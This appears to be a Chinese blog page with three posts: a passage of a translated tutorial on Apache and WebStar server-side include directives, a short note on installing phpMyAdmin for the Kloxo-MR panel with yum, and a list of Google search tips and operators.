The last format you have set will remain valid throughout the rest of the page. However, unless you want to use the default format (which usually is something like 98/07/12:16:45:34) you will have to set your favourite time format in every page that uses server side includes that have to do with time.

更改大小格式

You can also specify the way file sizes are displayed.

<!–#config sizefmt=”bytes”–>
<!–#fsize file=”top.gif”–>
<!–#config sizefmt=”abbrev”–>
<!–#fsize file=”top.gif”–>


The #fsize include is explained later in this chapter. You can see that the “bytes” option gives the size in full in bytes, the “abbrev” option gives the size in kilobytes.

自定义错误消息

You can change the default error message to anything you want. Here is an example of changing the error message and then trying to include the non-existent file “nosuchfile.html”:

<!–#config errmsg=”Sorry, an error occurred. Please mail your complaints to webmaster@somewhere.net”–>

<!–#include file=”nosuchfile.html”–>

There is only one error message available. However, you can change the error message more than once in a single html file:

<!–#config errmsg=”Sorry, an error occurred including nosuchfile.html. Please mail your complaints to webmaster@somewhere.net”–>

<!–#include file=”nosuchfile.html”–>

<!–#config errmsg=”Sorry, an error occurred including nosuchfileagain.html. Please mail your complaints to webmaster@somewhere.net”–>

<!–#include file=”nosuchfileagain.html”–>

Specifying your own error messages will make it easier for you to spot and solve problems. If you want to use more than one error message, you have to make sure that you change the error message before the command it refers to.

包括文件

The include command allows you to dynamically insert other HTML files into the current HTML file. Use it like this:

<!–#include file=”file.shtml”–>

What path to use, again, depends on your provider. Normally it will be a path that is local to the server, so it will not include http://etc. The most sensible use of this command is to take standard bits of your pages such as headers and footer and put them in a separate file. On all of your pages you use the include command to include that file. That way, in order to change the footer on all pages, you only need to change one file. For example, you could make a simple text file that contains:

<P ALIGN=”center”>Copyright 1998 Tom, Dick and Harry<BR>
Please mail us at tom.dick@harry.com</P

You save this file as ssifooter.html and include it in your other files by using:

<!–#include file=”ssifooter.html”–>

The files you include can be plain text files or can include HTML. You don’t need to give them <HEAD> and <BODY> tags, just put in whatever you want to insert. In these files you can use whatever HTML you want and you can make links, etc.

隐藏 / 显示

With the Hide and Show commands you can avoid that your reader sees certain parts of the document:

<P>Now you see me, <!–#hide–> This text is not shown. <!–#show–> now you don’t.</P

Show and Hide can be used to temporary exclude parts of your document. Hide and Show only work under WebStar, so I cannot show you an example here.

根据时间隐藏和显示

The next example shows how to display bits of HTML only after certain days. Comparisons like this always use the default time format of 1998/07/24:17:34:45 no matter what you have done with the timefmt option.

<!–#hide–>
<!–#show after=”1998/06/30″–>
This text is shown after 30 June 1998.
<!–#show–>

<!–#hide–>
<!–#show after=”1999/06/30″–>
This text is shown after 30 June 1999.
<!–#show–>

Or you can show and hide things on specific days using a combination of ‘hide after’ and ‘show after’:

<!–#hide–>
<!–#show during=”1998/07/12″–>
This text is shown on 12 July 1998.
<!–#show–>

<!–#hide–>
<!–#show during=”1998/07/13″–>
This text is shown on 13 July 1998.
<!–#show–>

<!–#hide–>
<!–#show during=”1998/07/14″–>
This text is shown on 14 July 1998.
<!–#show–>

As you can see, you do not have to specify a full date and time but only what is relevant for you. If you would want to show something during 1998 you could use: during=”1998″.

依据时间隐藏和显示

Here is an example of how to show a bit of text only to a user of Netscape’s Navigator:

<!–#hide–>
<!–#show var=”http_user_agent” operator=”contains”
value=”nav”–>
Welcome Netscape Navigator user!
<!–#show–>

<!–#hide–>
<!–#show var=”http_user_agent” operator=”contains”
value=”MSIE”–>
Welcome Internet Explorer user!
<!–#show–>

As you can see in this example, the output of Webstar is by default on. That’s why you start any of these examples by switching the output of (#hide) and then switching it on again if the appropriate condition is fulfilled. At the end of the example you switch the output on again with a #show include. Again, show and hide do not work under Apache so I cannot show you the result here.

随机隐藏和显示

Show and Hide can also be used at random:

<!–#hide–>
<!–#show var=”random” op=”<” value=”50″ –>
Heads
<!–#hide–>
<!–#show var=”random” op=”=>” value=”50″ –>
Tails
<!–#show–>

If you do a couple of reloads, you should see the text change. Of course you can use the same thing to show and hide images or any other HTML. The number that is used by Webstar is a random number ranging from 1 to 99 inclusive. Here is an example for three random texts:

<!–#hide–>
<!–#show var=”random” op=”<” value=”33″ –>
To be or not to be,
<!–#hide–>
<!–#show var=”random” op=”=>” value=”34″ –>
<!–#hide var=”random” op=”>” value=”66″ –>
that’s the question,
<!–#hide–>
<!–#show var=”random” op=”>” value=”66″ –>
my dear Watson.
<!–#show–>

更多的隐藏和显示

In fact you can show and hide text at will using any of the environment variables (see the section on Echo below). This example shows a bit of text to a user with IP address 195.99.40.125:

<!–#hide–>
<!–#show var=”remote_addr” operator=”=” value=”195.99.40.125″–>
Welcome BTinternet user!
<!–#show–>

If you have friends with fixed IP addresses you can leave messages especially for them in the same manner. Finally, you should know which operators are available:

Operator Meaning
“contains” or “con” variable contains the value string
“starts with” or “start” variable starts with the value string
“ends with” or “end” variable ends with the value string
“=” or “==” variable equals the value string
“!=” or “<>” variable does not equal the value string
“<“ variable is less than the value string
“<=” or “=<“ variable is less than or equal to the value string
“>” variable is greater than the value string
“>=” or “=>” variable is greater than or equal to the value string

If 和 Endif

Because this server runs Apache I could not show the examples of #hide and #show. I can, however, demonstrate the #if and #endif includes (if and endif, in turn, do not work under Webstar):

<!–#config timefmt=”%A”–>
<!–#if expr=”$date_gmt = Friday” –>
Hang in there, it’s almost weekend
<!–#elif expr=”($date_gmt = Saturday) || ($date_gmt = Sunday)” –>
Have a nice weekend
<!–#else –>
Have a good day
<!–#endif –>

Hang in there, it’s almost weekend Have a nice weekend Have a good day

The first thing you will notice is that the #if include, opposite to the #hide and #show, does use the date as formatted with timefmt. This has some clear advantages. You can also see that this example is a bit easier to understand the #show and #hide spaghetti that WebStar seems to need. Note that the #if and #endif are obligatory, the #elif and #else are optional. This example uses date_gmt which is London time -ignoring summertime- rather than date_local which depends on where the server is.

The following operators are available:

Operator Meaning
string1 = string2 string1 equals string2
string1 != string2 string1 does not equal string2
string1 < string2 string1 is less than string2
string1 <= string2 string1 is less than or equal to string2
string1 > string2 string1 is greater than string2
string1 >= string2 string1 is greater than or equal to string2

If, Endif 和环境变量

you can use the #if include to show different information to different browsers. Each browser sets the environment variable http_user_agent differently. This is how Netscape Navigator 4.04, Microsoft Internet Exploder and Apple’s Cyberdog respectively do it:

Mozilla/4.04 (Macintosh; I; PPC, Nav)
Mozilla/4.0 (compatible; MSIE 4.0; Mac_PowerPC)
Cyberdog/2.0 (Macintosh; PPC)

As you can see these are all the Macintosh versions. By the way, this is what your own browser makes of http_user_agent: . So this is how to show different information to different browsers:

<!–#if expr=”$HTTP_USER_AGENT=/MSIE/ ” –>
Fight the Microsoft Monopoly. Get Netscape!
<!–#elif expr=”$HTTP_USER_AGENT=/Nav/ ” –>
Welcome Netscape Navigator user!
<!–#elif expr=”$HTTP_USER_AGENT=/Cyberdog/ ” –>
Welcome Apple Cyberdog user!
<!–#else –>
Welcome! So what browser are you using?
<!–#endif –>

Fight the Microsoft Monopoly. Get Netscape! Welcome Netscape Navigator user! Welcome Apple Cyberdog user! Welcome! So what browser are you using?

Note that the /Nav/ I am looking for here is produced by Netscape Navigator, which is Communicator without the news, mail and webeditor modules. The above is obviously not an exhaustive list of browsers, which is why there is also an #else include for all the browsers that are not covered.

The two slashes around MSIE, Nav and Cyberdog in the example above means that the second string is interpreted as a regular expression, commonly used under Unix. In this case it checks if http_user_agent contains that string.

Set

The #set include can be used to create your own variables and assign them a value. Variables can be printed or can be used in #if statements:

<!–#set var=”carmodel” value=”Mercedes” –>
<!–#echo var=”carmodel” –><BR>
<!–#if expr=”$carmodel = Mercedes” –>
That’s a jolly nice car
<!–#endif –>


That’s a jolly nice car

The $ sign in the #if include is needed to ensure that “carmodel” is interpreted as a variable, not as a string.

Echo

ECHO can be used to insert information from the browser and the server into your document, the so-called environment variables. The following possibilities are available:

Document Name: <!–#echo var=”document_name”–>
Document URI: <!–#echo var=”document_uri”–>
Local Date: <!–#echo var=”date_local”–>
GMT Date: <!–#echo var=”date_gmt”–>
Last Modified: <!–#echo var=”last_modified”–>
Server Software: <!–#echo var=”server_software”–>
Server Name: <!–#echo var=”server_name”–>
Server Protocol: <!–#echo var=”server_protocol”–>
Server Port: <!–#echo var=”server_port”–>
Gateway Interface: <!–#echo var=”gateway_interface”–>
Request Method: <!–#echo var=”request_method”–>
Script Name: <!–#echo var=”script_name”–>
Remote Host: <!–#echo var=”remote_host”–>
Remote Address: <!–#echo var=”remote_addr”–>
Remote User: <!–#echo var=”remote_user”–>
Content Type: <!–#echo var=”content_type”–>
Content Length: <!–#echo var=”content_length”–>
HTTP Accept: <!–#echo var=”http_accept”–>
HTTP User Agent (Browser): <!–#echo var=”http_user_agent”–>
HTTP Cookie: <!–#echo var=”http_cookie”–>
Unescaped query string: <!–#echo var=”query_string_unescaped”–>
Query String: <!–#echo var=”query_string”–>
Path Info: <!–#echo var=”path_info”–>
Path Translated: <!–#echo var=”path_translated”–>
Referer: <!–#echo var=”referer”–>
Forwarded: <!–#echo var=”forwarded”–>

Document Name:
Document URI:
Local Date:
GMT Date:
Last Modified:
Server Software:
Server Name:
Server Protocol:
Server Port:
Gateway Interface:
Request Method:
Script Name:
Remote Host:
Remote Address:
Remote User:
Content Type:
Content Length:
HTTP Accept:
HTTP User Agent (Browser):
HTTP Cookie:
Unescaped query string:
Query String:
Path Info:
Path Translated:
Referer:
Forwarded:

Not all ECHO commands always result in information being printed. This can depend on the server, on your browser and on the way you reached this page. The #echo include works both under WebStar and Apache.

Print Environment

If you want to print the entire environment, you do not need to use a whole list of #echo includes. Instead you can use this shortcut.

<PRE> <!–#printenv –> </PRE>



Note that the environment includes the variable “carmodel” that was defined in an earlier example.

执行脚本

You can use a server side include to run a script. This is what I use on my homepage:

<!–#exec cgi=”ssi.demo.cgi”–>

The CGI script (which is in Perl 5) opens a file with a dozen quotes, selects one at random and prints it to the page. The script, by the way, is courtesy of Matt Wright who offers a brilliant collection of scripts.

文件大小

You can insert the size of a file in this way:

<!–#fsize file=”top.gif”–>

This inserts the size of the file top.gif (the logo at the top of this page). As explained earlier in this chapter, you can determine if the size is displayed in full bytes or abbreviated in kilobytes or megabytes.

文件日期

You can insert the date of a file in this way:

<!–#flastmod file=”top.gif”–>

This inserts the date and the time the file top.gif (the logo at the top of this page) was last modified. The format of the date and time can be customized by you as explained earlier in this chapter.

This page has been translated into Spanish language by Maria Ramos from Webhostinghub.com.

 

 

Kloxo-MR 中安装 thirdparty phpMyAdmin

/thirdparty/phpMyAdmin/

File not found.

yum install kloxomr-thirdparty-phpmyadmin

安装 Kloxo-MR 7.0.0.b 后发现在面板中点击20150425021410

Url地址 – /thirdparty/phpMyAdmin/

File not found.

打开后找不到文件:

20150425020556

之后在服务组件中也看不到有phpMyAdmin 的信息。

sftp上服务器上的 Kloxo下也确实没有.  也许thirdparty就是要自己装把, 那么就装吧.

如下:

yum list kloxomr-thirdparty*

| 列出以 kloxomr-thirdparty 打头 记得后面有个星号.

kloxomr-thirdparty-phpmyadmin
kloxomr-thirdparty-jcterm
kloxomr-thirdparty-sshterm-applet

,找到全部的kloxomr第三方插件, 然后安装 phpMyAdmin

yum install kloxomr-thirdparty-phpmyadmin

20150425024041

如此,已经OK!

Google搜索技巧

搜索引擎在今天其实就是使用网络的基本功,也是在线一切工作的得力助手。
而很多人依然不知道如何使用搜索引擎查找想要的东西,经常会有人打电话问你帮他找些什么。
所以把这个谷歌文档发给他就可以了。

了解一些帮助您轻松通过 Google 找到信息的提示和技巧。

提示 1:使用简单的搜索字词

无论要搜索什么,都请先用简单的字词进行搜索,例如最近的机场在哪里?您随时可以根据需要添加一些描述性字词。

如果您要查找特定地点的某个场所或商品,可添加该地点名称。例如,南京面包店

提示 2:通过语音搜索

不想打字?点击 Google 应用或 Chrome 搜索框中的麦克风图标 ,通过语音执行搜索

提示 3:认真选择措辞

在确定输入搜索框中的字词时,尽量选择要查找的网站上可能会出现的字词。例如,不要使用我的头很痛,而要使用头痛,因为医学网站上往往会使用后者。

提示 4:不用担心输入方面的琐事

  • 拼写。 无论您的拼写是否正确,Google 的拼写检查工具都会自动使用给定字词的最常用拼写形式。
  • 大写。 搜索 QQqq 所得到的结果是一样的。

提示 5:查找快速解答

对于您进行的许多搜索,Google 都会替您完成相关工作,并会在您输入搜索字词后在搜索结果页上显示相关解答。有些功能(例如查询与球队有关的信息)并非在所有地区都提供。

  • 天气:搜索天气可查看您所在地点的天气信息,如果在“天气”后加上城市名(例如天气北京),则可查看相应城市的天气信息。
  • 字典:在任意字词前加上 define 即可查询其定义。
  • 计算:输入数学公式(例如 3*9123)或求解复杂的图形公式。
  • 单位换算:输入任何换算内容,例如 3 美元兑换欧元
  • 体育:搜索球队的名称,即可查看相关赛程和比赛得分等信息。
  • 快讯:搜索名人、地点、电影或歌曲的名称可看到相关重要信息。

搜索中的标点、符号和运算符

您可以使用特殊的字符和字词来获取更具体的搜索结果。Google 会忽略大部分的标点符号(以下示例除外)。例如,搜索字词狗! 会被 Google 视为

Google 搜索可以识别的标点和符号

即使以下符号均受支持,在您的搜索中加入这些符号也并不一定会改善搜索结果。如果我们认为该标点不会为您提供更好的结果,则会显示出不含标点的搜索字词所对应的建议结果。

请注意:在使用符号进行搜索时,请勿在符号和搜索字词之间添加空格。我们可以识别-狗中的符号,但无法识别- 狗中的符号。

符号 用途
+ 搜索 Google+ 网页或血型 示例:+Chrome 和 AB+
@ 查找社交标记 示例:@agoogler
$ 查找价格
示例:尼康 $400
# 查找热门主题标签以搜索热门话题 示例:#throwbackthursday
- 移除字词在某个字词或网站之前添加一个短横可排除所有包含该字词或网站的搜索结果。在搜索有多种含义的字词(例如“汽车品牌捷豹”和“动物捷豹”)时,这种方法尤为实用。

示例:捷豹速度 -汽车熊猫 -site:wikipedia.org

连字如果多个字词以短横相连,Google 便会知道这些字词是紧密关联的。

示例:twelve-year-old dog

_ 用于连接两个字词,例如 quick_sort。 您会在搜索结果中发现,这对字词要么组成一个字词 (quicksort),要么由下划线相连 (quick_sort)。
" 如果您将字词或词组置于引号中,则搜索结果中将仅显示以下网页:包含引号中的字词且字词顺序也与引号中相同。 请注意:请仅在需要搜索某个精确字词或词组时使用这种搜索方式,不然,可能会错误地排除掉很多有用的搜索结果。 示例:"想象一下所有人"
* 在搜索中添加一个星号,以表示任何未知或不确定的字词。与引号结合使用,可以查找具体词组的不同变体,或记住词组中间的字词。 示例:"省*就是赚*"
.. 使用不含空格的两个半角句号 (..) 隔开多个数字,即可查看日期、价格和尺寸等方面的数值在指定范围内的搜索结果。 示例:相机 $50..$100

使用搜索运算符缩小搜索结果范围

搜索运算符是可添加到搜索字词中以帮助缩小搜索结果范围的字词。不必担心,您不一定要记住每个运算符,因为您也可以使用“高级搜索”页面来进行这种搜索。

请注意:使用运算符进行搜索时,请勿在运算符和搜索字词之间添加空格。搜索 site:nytimes.com 可以获取相关搜索结果,而搜索 site: nytimes.com 则是行不通的。

运算符 用途
site: 仅从特定网站或网域获得搜索结果。例如,您可以查找 NBC 网站或任何 .gov 网站上所有提到“奥运”的内容。 示例:olympics site:nbc.com 和 olympics site:.gov
link: 查找链接到某个特定网页的页面。例如,您可以查找链接到 google.com.hk 的所有页面。 示例:link:google.com.hk
related: 查找与您已浏览过的网址类似的网站。当您搜索与 time.com 相关的网站时,会找到您可能感兴趣的其他新闻出版物网站。 示例:related:time.com
OR 如果您想搜索可能只包含多个搜索字词中某一个的页面,可以在这些字词之间加上 OR(大写)。如果不加 OR,您的搜索结果中通常只会显示与这些字词都匹配的页面。 示例:世界杯举办地2014年OR 2018年
info: 获取某网址的相关信息,包括网页的缓存版本、相似网页和链接至该网站的网页。 示例:info:google.com
cache: 查看 Google 上次抓取网站时网页的外观。 示例:cache:washington.edu

继续阅读“Google搜索技巧”